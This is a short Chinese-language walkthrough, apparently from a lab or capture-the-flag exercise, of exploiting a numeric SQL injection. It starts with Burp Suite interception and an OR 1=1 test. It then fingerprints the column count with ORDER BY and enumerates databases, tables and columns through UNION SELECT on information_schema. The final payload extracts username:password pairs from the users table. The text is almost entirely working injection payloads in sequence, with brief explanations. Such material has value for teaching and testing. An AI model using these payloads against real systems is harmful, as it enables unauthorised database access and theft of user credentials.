先选择个3 burp抓包看看再说抓完repeater

or 语句判断存在sql注入 or1=1--+
OR 1=1--+ 可以用来测试目标系统是否存在SQL注入漏洞。具体来说,这是因为OR 1=1语句始终为真,注释符号--+用于忽略后面的SQL代码。如果注入成功并且返回了预期的数据或行为变化,那么很可能目标系统存在SQL注入漏洞。
使用减法运算来判断是什么类型的注入

数字型
进一步进行判断字段数我们输入
id=1 order by 1--+正常显示
id=1 order by 2--+正常显示
id=1 order by 3--+报错显示

所以可以得到2位
那么就开始查找select
id=1 union select 1,2 --+

继续进行下一步数据库查询
id=1 union select 1,(select group_concat(schema_name) from information_schema.schemata) --+

已经知道数据库了那么现在开始查找表
id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+


查字段
id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

id=1 UNION SELECT 1, (SELECT GROUP_CONCAT(username, 0x3a, password) FROM users)--+
这条 SQL 查询用于通过 SQL 注入漏洞提取 users 表中的 username 和 password 列,并将它们连接成一个字符串,其中 0x3a 是十六进制表示的冒号 :
